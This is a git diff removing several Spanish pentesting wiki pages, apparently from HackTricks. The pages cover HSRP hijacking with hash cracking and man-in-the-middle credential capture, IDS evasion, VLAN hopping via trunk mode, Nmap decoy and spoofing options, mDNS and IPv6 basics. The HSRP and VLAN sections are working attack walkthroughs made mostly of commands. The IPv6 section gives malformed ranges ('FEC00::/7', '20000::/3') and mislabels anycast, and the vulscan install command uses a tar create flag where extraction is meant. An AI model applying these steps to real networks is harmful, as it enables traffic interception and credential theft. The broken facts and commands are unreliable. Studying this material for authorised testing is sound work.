|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (212).png" alt=""><figcaption><p>Primer router de HSRP</p></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (304).png" alt=""><figcaption><p>Segundo router de HSRP</p></figcaption></figure>
|
||||
|
||||
Basándonos en el análisis del tráfico de HSRP, tenemos lo siguiente:
|
||||
|
||||
* **Se detectó una mala configuración dentro del ajuste de prioridad. Se considera que el router activo es un router de HSRP con prioridad 200, es decir, tenemos un vector para el secuestro de HSRP.**
|
||||
* **la dirección IP virtual utilizada en el dominio HSRP es 10.10.100.254**
|
||||
* **Se utiliza autenticación MD5**
|
||||
|
||||
Tener autenticación en el dominio nos ata las manos, pero lo arreglaré.
|
||||
|
||||
### Saltarse la autenticación de HSRP <a href="#d9fd" id="d9fd"></a>
|
||||
|
||||
Guarde el volcado de tráfico de HSRP en formato **.pcap**, para que el exfiltrador pueda extraer correctamente los hashes MD5 del volcado. Usaré **hsrp2john.py** como exfiltrador:
|
||||
```
|
||||
~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (287).png" alt=""><figcaption><p>Hashes MD5 extraídas del volcado de tráfico HSRP</p></figcaption></figure>
|
||||
|
||||
Voy a crackear los hashes con **John the Ripper**, especificando los hashes como entrada. Y con el comando **--wordlist** especificaré la ruta al diccionario:
|
||||
```
|
||||
~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (203).png" alt=""><figcaption><p>Contraseña del dominio HSRP descifrada</p></figcaption></figure>
|
||||
|
||||
Como resultado, tenemos una clave para ingresar al dominio HSRP: **endgame**.
|
||||
|
||||
### Inyección HSRP (Loki) <a href="#6a2b" id="6a2b"></a>
|
||||
|
||||
Usaré el mismo Loki para atacar el protocolo HSRP. Entre otras cosas, tiene una función de inyección de clave, que nos ayuda a evitar la autenticación. Anteriormente, en la sección de Secuestro de HSRP, obtuvimos toda la información necesaria sobre el dominio HSRP.
|
||||
|
||||
Iniciando Loki.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (309).png" alt=""><figcaption><p>Loki detectó anuncios HSRP</p></figcaption></figure>
|
||||
|
||||
No olvide cambiar al modo promiscuo y permitir el enrutamiento de tráfico antes de realizar el ataque:
|
||||
```
|
||||
~$ sudo ip link set eth0 promisc on
|
||||
~$ sudo sysctl -w net.ipv4.ip_forward=1
|
||||
```
|
||||
Selecciona el router con dirección **10.10.100.100** y una prioridad de **200**. Como parámetro **Secret**, introduce la contraseña descifrada del dominio HSRP, genera un ARP gratuito y selecciona la opción **Get IP**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (192).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (237).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Como podemos ver, el router activo ahora es nuestro sistema atacante. El valor de prioridad es 255.**
|
||||
|
||||
**Después de la inyección, necesitamos crear una dirección IP secundaria en nuestra interfaz de red con el valor de la dirección IP virtual en el dominio HSRP. También debemos especificar una máscara de 24 bits. De esta manera, el tráfico legítimo se redirigirá hacia nosotros, ya que la dirección IP virtual utilizada en el dominio HSRP es la dirección de la puerta de enlace predeterminada para los hosts.**
|
||||
```
|
||||
~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
|
||||
```
|
||||
Establecemos el conocido NAT de origen (enmascaramiento) para interceptar todo el tráfico:
|
||||
```
|
||||
~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
Eliminamos la ruta predeterminada en nuestra máquina y escribimos una nueva que pasará a través del antiguo enrutador activo (su dirección es 10.10.100.100). Aunque hayamos secuestrado el rol activo del enrutador, aún podrá enrutar el tráfico.
|
||||
```
|
||||
~$ sudo route del default
|
||||
~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
|
||||
```
|
||||
**Ahora somos el "hombre en el medio". Ejecutemos** [**net-creds.py**](https://github.com/DanMcInerney/net-creds)**:**
|
||||
```
|
||||
~$ sudo python2 net-creds.py -i eth0
|
||||
```
|
||||
Después de ejecutar la utilidad, reproduciré un intento de autenticación en el servidor FTP en 172.16.100.140:
|
||||
```
|
||||
~$ ftp 172.16.100.140
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (179).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como resultado, obtenemos credenciales del servidor FTP: **insomnia:betrayal**
|
||||
|
||||
De esta manera se puede atacar el dominio HSRP e interceptar el tráfico. Básicamente, todo es similar a GLBP.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -1,41 +0,0 @@
|
|||
# Manipulación de TTL
|
||||
|
||||
Envía algunos paquetes con un TTL suficiente para llegar al IDS/IPS pero no suficiente para llegar al sistema final. Luego, envía otros paquetes con las mismas secuencias que los anteriores para que el IPS/IDS piense que son repeticiones y no los verifique, pero en realidad están llevando el contenido malicioso.
|
||||
|
||||
**Opción de Nmap:** `--ttlvalue <valor>`
|
||||
|
||||
# Evitando firmas
|
||||
|
||||
Simplemente agrega datos basura a los paquetes para evitar la firma del IPS/IDS.
|
||||
|
||||
**Opción de Nmap:** `--data-length 25`
|
||||
|
||||
# Paquetes fragmentados
|
||||
|
||||
Simplemente fragmenta los paquetes y envíalos. Si el IDS/IPS no tiene la capacidad de reensamblarlos, llegarán al host final.
|
||||
|
||||
**Opción de Nmap:** `-f`
|
||||
|
||||
# Checksum inválido
|
||||
|
||||
Los sensores generalmente no calculan el checksum por razones de rendimiento. Por lo tanto, un atacante puede enviar un paquete que será interpretado por el sensor pero rechazado por el host final. Ejemplo:
|
||||
|
||||
Envía un paquete con la bandera RST y un checksum inválido, para que el IPS/IDS piense que este paquete va a cerrar la conexión, pero el host final descartará el paquete ya que el checksum es inválido.
|
||||
|
||||
# Opciones IP y TCP no comunes
|
||||
|
||||
Es posible que un sensor ignore los paquetes con ciertas banderas y opciones establecidas dentro de las cabeceras IP y TCP, mientras que el host de destino acepta el paquete al recibirlo.
|
||||
|
||||
# Superposición
|
||||
|
||||
Es posible que cuando fragmentas un paquete, exista algún tipo de superposición entre los paquetes (tal vez los primeros 8 bytes del paquete 2 se superponen con los últimos 8 bytes del paquete 1, y los últimos 8 bytes del paquete 2 se superponen con los primeros 8 bytes del paquete 3). Entonces, si el IDS/IPS los reensambla de manera diferente al host final, se interpretará un paquete diferente.\
|
||||
O tal vez, llegan 2 paquetes con el mismo desplazamiento y el host tiene que decidir cuál toma.
|
||||
|
||||
* **BSD**: Tiene preferencia por los paquetes con un _offset_ más pequeño. Para paquetes con el mismo desplazamiento, elegirá el primero.
|
||||
* **Linux**: Al igual que BSD, pero prefiere el último paquete con el mismo desplazamiento.
|
||||
* **Primero** (Windows): El primer valor que llega, es el valor que se queda.
|
||||
* **Último** (cisco): El último valor que llega, es el valor que se queda.
|
||||
|
||||
# Herramientas
|
||||
|
||||
* [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke)
|
||||
|
|
@ -1,71 +0,0 @@
|
|||
# Bypass de Segmentación Lateral de VLAN
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Esta página fue copiada de** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
Si tienes acceso a un switch al que estás directamente conectado, tienes la capacidad de saltarte la segmentación de VLAN dentro de la red. Simplemente cambia el puerto al modo trunk (también conocido como trunking), crea interfaces virtuales con los IDs de las VLANs objetivo y configura una dirección IP. Puedes intentar solicitar la dirección dinámicamente (DHCP) o puedes configurarla estáticamente. Depende del caso.
|
||||
|
||||
Primero necesitas averiguar exactamente a qué puerto estás conectado. Esto se hace a través de mensajes CDP, o puedes buscar el puerto por máscara **include**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (198).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Si el CDP se desactiva repentinamente, puedes intentar buscar el puerto por nuestra dirección MAC.**
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (249).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Antes de cambiar al modo trunk, necesitamos listar las VLAN existentes y encontrar sus identificadores. Luego colgaremos estos identificadores en nuestra interfaz para acceder a las VLAN. De esta manera, gracias al trunk, podemos acceder a cualquier VLAN. Por cierto, el puerto al que estamos conectados pertenece a la VLAN 10.
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (178) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Aquí vamos. Ingresa al modo de configuración de interfaz y cambia a modo trunk.**
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Durante el cambio a modo trunk, se pierde la conectividad. Pero lo arreglaré.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (70) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Crea interfaces virtuales y "cuelga" la ID de VLAN en ellas, y luego levántalas.
|
||||
```
|
||||
~$ sudo vconfig add eth0 10
|
||||
~$ sudo vconfig add eth0 20
|
||||
~$ sudo vconfig add eth0 50
|
||||
~$ sudo vconfig add eth0 60
|
||||
~$ sudo ifconfig eth0.10 up
|
||||
~$ sudo ifconfig eth0.20 up
|
||||
~$ sudo ifconfig eth0.50 up
|
||||
~$ sudo ifconfig eth0.60 up
|
||||
```
|
||||
Ahora necesitas solicitar una dirección a través de DHCP. Pero si en tu caso esto no es posible, puedes configurar la dirección estáticamente.
|
||||
```
|
||||
~$ sudo dhclient -v eth0.10
|
||||
~$ sudo dhclient -v eth0.20
|
||||
~$ sudo dhclient -v eth0.50
|
||||
~$ sudo dhclient -v eth0.60
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (204).png" alt=""><figcaption>Ejemplo de configuración de una dirección IP estática en una interfaz (VLAN 10):</figcaption></figure>
|
||||
```
|
||||
~$ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Para probar la conexión, inicio solicitudes ICMP a las puertas de enlace predeterminadas **para las VLAN 10, 20, 50, 60**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (207).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Al final, **bypassé la segmentación de VLAN** y puedo acceder a cualquier red VLAN, lo que me da libertad para los siguientes pasos.
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR a los repositorios [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# DNS Multicast \(mDNS\)
|
||||
|
||||
El protocolo **multicast DNS** \(**mDNS**\) resuelve los nombres de host a direcciones IP dentro de pequeñas redes que no incluyen un servidor de nombres local.
|
||||
|
||||
Cuando un cliente mDNS necesita resolver un nombre de host, envía un mensaje de consulta de multidifusión IP que pide al host que tiene ese nombre que se identifique. Esa máquina objetivo luego envía un mensaje de multidifusión que incluye su dirección IP. Todas las máquinas en esa subred pueden usar esa información para actualizar sus cachés mDNS.
|
||||
|
||||
Cualquier host puede renunciar a su reclamo sobre un nombre de dominio enviando un paquete de respuesta con un tiempo de vida \(TTL\) igual a cero.
|
||||
|
||||
Por defecto, mDNS resuelve exclusivamente nombres de host que terminan con el dominio de nivel superior \(TLD\) **.local**. Esto puede causar problemas si ese dominio incluye hosts que no implementan mDNS pero que se pueden encontrar a través de un servidor DNS unicast convencional. Resolver tales conflictos requiere cambios en la configuración de la red.
|
||||
|
||||
* Al usar tramas Ethernet, la dirección MAC de multidifusión estándar es _01:00:5E:00:00:FB_ \(para IPv4\) o _33:33:00:00:00:FB_ \(para IPv6\).
|
||||
* Dirección IPv4 _224.0.0.251_ o dirección IPv6 _ff02::fb_.
|
||||
* Puerto UDP 5353.
|
||||
|
||||
Las consultas mDNS no pasarán por routers \(solo se difunden en Ethernet\).
|
||||
|
||||
# Descubrimiento de servicios DNS-SD \(Service Discovery\)
|
||||
|
||||
Este protocolo se puede utilizar para descubrir hosts en la red. Para hacerlo, se pueden solicitar nombres de dominio especiales \(por ejemplo, _\_printers\_tcp.local_\) y todos los dominios relacionados con ese nombre responderán \(en este caso, impresoras\). Se puede encontrar una lista completa con estos nombres especiales [aquí](http://www.dns-sd.org/ServiceTypes.html).
|
||||
|
||||
# SSDP
|
||||
|
||||
El Protocolo Simple de Descubrimiento de Servicios se utiliza para descubrir servicios en una red principalmente para utilizar el protocolo UPnP.
|
||||
|
||||
SSDP es un protocolo basado en texto basado en [HTTPU](https://en.wikipedia.org/wiki/HTTPU). Utiliza UDP como protocolo de transporte subyacente. Los servicios son anunciados por el sistema de alojamiento
|
||||
|
|
@ -1,135 +0,0 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
```text
|
||||
nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
||||
```
|
||||
**-iL** lista\_IPs
|
||||
|
||||
**-iR** numero --> Número de Ips aleatorias, se pueden excluir posibles Ips con **--exclude <Ips>** o **--excludefile <fichero>**
|
||||
|
||||
**Descubrimiento de equipos:**
|
||||
|
||||
Podemos usar máscaras/24
|
||||
|
||||
**-sL**: No es invasivo, lista los objetivos realizando peticiones de DNS para resolver nombres. Sirve para saber si por ejemplo www.prueba.es/24 todas las Ips son objetivos nuestros.
|
||||
|
||||
Por defecto Nmap lanza una fase de descubrimiento que consta de: -PA80 -PS443 -PE -PP
|
||||
|
||||
**-Pn** No ping --> útil **si se sabe que todos están activos** \(sino lo estuviera alguno se podría perder mucho tiempo, pero
|
||||
**-f** Fragmenta paquetes en 8 bytes después de la cabecera por defecto. Para especificar el tamaño, se usa ..mtu (sin usar -f). El offset debe ser múltiplo de 8. Los escáneres de versión y scripts no soportan la fragmentación.
|
||||
|
||||
**-D decoy1,decoy2,ME** Nmap envía escáneres con otras direcciones IP como origen para ocultar la dirección real. Si se incluye ME en la lista, Nmap te situará allí. Es mejor incluir 5 o 6 direcciones antes de la tuya para enmascararte completamente. Se pueden generar IPs aleatorias con RND:<número> para generar <número> de IPs aleatorias. No funcionan con detectores de versiones sin conexión TCP. Si estás dentro de una red, es mejor usar IPs que estén activas para no ser detectado fácilmente.
|
||||
|
||||
Para usar IPs aleatorias: nmap -D RND:10 Ip_objetivo
|
||||
|
||||
**-S IP** Se utiliza cuando Nmap no detecta tu dirección IP, para especificarla manualmente. También se puede usar para hacer pensar que hay otro objetivo escaneando.
|
||||
|
||||
**-e <interface>** Para elegir la interfaz.
|
||||
|
||||
Muchos administradores dejan puertos de entrada abiertos para que todo funcione correctamente y les sea más fácil que buscar otra solución. Estos pueden ser los puertos DNS o los de FTP. Para buscar esta vulnerabilidad, Nmap incorpora: **--source-port** _**<número de puerto>**_ y **-g** _**<número de puerto>**_. Son equivalentes.
|
||||
|
||||
**--data** _**<cadena hexadecimal>**_ Para enviar texto hexadecimal: --data 0xdeadbeef y --data \xCA\xFE\x09
|
||||
|
||||
**--data-string** _**<cadena>**_ Para enviar un texto normal: --data-string "Scan conducted by Security Ops, extension 7192"
|
||||
|
||||
**--data-length** _**<número>**_ Nmap envía solo cabeceras, con esto logramos que añada a estar un número de bytes más (que se generarán aleatoriamente).
|
||||
|
||||
Para configurar el paquete IP completamente, se usa **--ip-options**.
|
||||
|
||||
Si se desea ver las opciones en los paquetes enviados y recibidos, se especifica **--packet-trace**. Para obtener más información y ejemplos de uso de opciones IP con Nmap, consulte [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52).
|
||||
|
||||
**--ttl** _**<valor>**_
|
||||
|
||||
**--randomize-hosts** Para que el ataque sea menos obvio.
|
||||
|
||||
**--spoof-mac** _**<dirección MAC, prefijo o nombre del fabricante>**_ Para cambiar la dirección MAC. Ejemplos: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2 y Cisco.
|
||||
|
||||
**--proxies** _**<lista separada por comas de URLs de proxy>**_ Para usar proxies. A veces, un proxy no mantiene tantas conexiones abiertas como Nmap quiere, por lo que habría que modificar el paralelismo: --max-parallelism.
|
||||
|
||||
**-sP** Para descubrir hosts en la red en la que estamos por ARP.
|
||||
|
||||
Muchos administradores crean una regla en el firewall que permite pasar todos los paquetes que provienen de un puerto en particular (como el 20, 53 y 67). Podemos decirle a Nmap que mande nuestros paquetes desde esos puertos: **nmap --source-port 53 Ip**.
|
||||
|
||||
**Salidas**
|
||||
|
||||
**-oN file** Salida normal.
|
||||
|
||||
**-oX file** Salida XML.
|
||||
|
||||
**-oS file** Salida de script kiddies.
|
||||
|
||||
**-oG file** Salida grepable.
|
||||
|
||||
**-oA file** Todos menos -oS.
|
||||
|
||||
**-v level** Verbosidad.
|
||||
|
||||
**-d level** Depuración.
|
||||
|
||||
**--reason** Por qué del host y estado.
|
||||
|
||||
**--stats-every time** Cada ese tiempo nos dice cómo va.
|
||||
|
||||
**--packet-trace** Para ver qué paquetes salen, se pueden especificar filtros como: --version-trace o --script-trace.
|
||||
|
||||
**--open** Muestra los puertos abiertos, abiertos/filtrados y los no filtrados.
|
||||
|
||||
**--resume file** Saca un resumen.
|
||||
|
||||
**Miscelánea**
|
||||
|
||||
**-6** Permite IPv6.
|
||||
|
||||
**-A** Es lo mismo que -O -sV -sC --traceroute.
|
||||
|
||||
**Run time**
|
||||
|
||||
Mientras corre Nmap, se pueden cambiar opciones:
|
||||
|
||||
v / V Aumentar / disminuir el nivel de verbosidad.
|
||||
|
||||
d / D Aumentar / disminuir el nivel de depuración.
|
||||
|
||||
p / P Activar / desactivar el rastreo de paquetes.
|
||||
|
||||
? Imprimir una pantalla de ayuda de interacción en tiempo de ejecución.
|
||||
|
||||
**Vulscan**
|
||||
|
||||
Es un script de Nmap que mira las versiones de los servicios obtenidos en una base de datos offline (que descarga de otras muy importantes) y devuelve las posibles vulnerabilidades.
|
||||
|
||||
Las bases de datos que usa son:
|
||||
|
||||
1. Scipvuldb.csv \| [http://www.scip.ch/en/?vuldb](http://www.scip.ch/en/?vuldb)
|
||||
2. Cve.csv \| [http://cve.mitre.org](http://cve.mitre.org/)
|
||||
3. Osvdb.csv \| [http://www.osvdb.org](http://www.osvdb.org/)
|
||||
4. Securityfocus.csv \| [http://www.securityfocus.com/bid/](http://www.securityfocus.com/bid/)
|
||||
5. Securitytracker.csv \| [http://www.securitytracker.com](http://www.securitytracker.com/)
|
||||
6. Xforce.csv \| [http://xforce.iss.net](http://xforce.iss.net/)
|
||||
7. Exploitdb.csv \| [http://www.exploit-db.com](http://www.exploit-db.com/)
|
||||
8. Openvas.csv \| [http://www.openvas.org](http://www.openvas.org/)
|
||||
|
||||
Para descargarlo e instalarlo en la carpeta de Nmap:
|
||||
|
||||
wget http://www.computec.ch/projekte/vulscan/download/nmap\_nse\_vulscan-2.0.tar.gz && tar -czvf nmap\_nse\_vulscan-2.0.tar.gz vulscan/ && sudo cp -r vulscan/ /usr/share/nmap/scripts/
|
||||
|
||||
También habría que descargar los paquetes de las bases de datos y añadirlos a /usr/share/nmap/scripts/vulscan/.
|
||||
|
||||
Uso:
|
||||
|
||||
Para usar todas las bases de datos: sudo nmap -sV --script=vulscan HOST_A_ESCANEAR.
|
||||
|
||||
Para usar una base de datos específica: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST_A_ESCANEAR.
|
||||
|
|
@ -1,104 +0,0 @@
|
|||
# Teoría básica de IPv6
|
||||
|
||||
## Redes
|
||||
|
||||
En una dirección IPv6, los **primeros 48 bits son el prefijo de red**. Los **siguientes 16 bits son el ID de subred** y se utilizan para definir subredes. Los últimos **64 bits son el identificador de interfaz** (también conocido como ID de interfaz o ID de dispositivo, es para dispositivos). Si es necesario, los bits que normalmente están reservados para el ID de dispositivo se pueden utilizar para una máscara de subred adicional.
|
||||
|
||||
No hay ARP en IPv6. En su lugar, hay **ICMPv6 NS (Solicitud de vecino) y NA (Anuncio de vecino)**. El **NS** se utiliza para resolver una dirección, por lo que envía paquetes **multidifusión**. El **NA** es **unicast** y se utiliza para responder al NS. Un paquete NA también se puede enviar sin necesidad de un paquete NS.
|
||||
|
||||
**0:0:0:0:0:0:0:1** = 1 (`::1` para abreviar) - Esto es equivalente a 127.0.0.1 en IPv4.
|
||||
|
||||
**Direcciones de enlace local:** Estas son direcciones privadas que no están destinadas a ser enrutadas en Internet. Pueden ser utilizadas localmente por LAN privadas o temporales para compartir y distribuir archivos entre dispositivos en la LAN. Otros dispositivos en su LAN local que utilizan este tipo de direcciones se pueden encontrar enviando un ping a la dirección multicast ff02::01\
|
||||
**FE80::/10** - Rango de dirección unicast de enlace local.
|
||||
```bash
|
||||
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
|
||||
ip neigh | grep ^fe80
|
||||
|
||||
#Or you could also use
|
||||
alive6 eth0
|
||||
```
|
||||
Si **conoces la dirección MAC de un host en la misma red** que tú (puedes simplemente hacer ping a su dirección IPv4 y ver la tabla ARP para encontrar su dirección MAC), puedes calcular su dirección de enlace local para comunicarte con él.\
|
||||
Supongamos que la **dirección MAC** es **`12:34:56:78:9a:bc`**
|
||||
|
||||
1. En notación IPv6: **`1234:5678:9abc`**
|
||||
2. Agrega `fe80::` al principio e inserta `fffe` en el medio: **`fe80::`**`1234:56`**`ff:fe`**`78:9abc`
|
||||
3. Invierte el séptimo bit desde la izquierda, de 0001 0010 a 0001 0000: `fe80::1`**`0`**`34:56ff:fe78:9abc`
|
||||
4. `fe80::1034:56ff:fe78:9abc`
|
||||
|
||||
**Dirección local única:** Este tipo de dirección IPv6 tampoco está destinado a ser enrutado en Internet público. La dirección local única es un reemplazo de la dirección de sitio local, que permite la comunicación dentro de un sitio mientras es enrutable a múltiples redes locales.\
|
||||
**FEC00::/7** – El rango de dirección local única.
|
||||
|
||||
**Dirección multicast:** También se puede referir como Uno-a-Muchos. Los paquetes dirigidos a una dirección multicast se entregan a todas las interfaces identificadas por la dirección multicast. Los tipos de dirección multicast son fácilmente identificables porque normalmente comienzan con FF.\
|
||||
**FF00::/8** – El rango multicast.
|
||||
|
||||
**Anycast:** Esta forma de dirección IPv6 es similar a la dirección multicast con una ligera diferencia. La dirección anycast también se puede referir como Uno a Más Cercano. Se puede utilizar para dirigir paquetes a múltiples interfaces; pero normalmente envía paquetes a la primera interfaz que encuentra según lo definido en la distancia de enrutamiento. Esto significa que envía paquetes a la interfaz más cercana determinada por los protocolos de enrutamiento.\
|
||||
**20000::/3** – El rango de dirección unicast global.
|
||||
|
||||
fe80::/10--> Enlace local único (169.254.x.x) \[fe80:0000:0000:0000:0000:0000:0000:0000,febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff]\
|
||||
fc00::/7 --> Local-unicast único (10.x.x.x, 172.16.x.x, 192.168.x.x) \[]\
|
||||
2000::/3 --> Unicast global\
|
||||
ff02::1 --> Multicast Todos los nodos\
|
||||
ff02::2 --> Multicast Nodos de enrutador
|
||||
|
||||
## **Adivina la dirección IPv6 de una máquina**
|
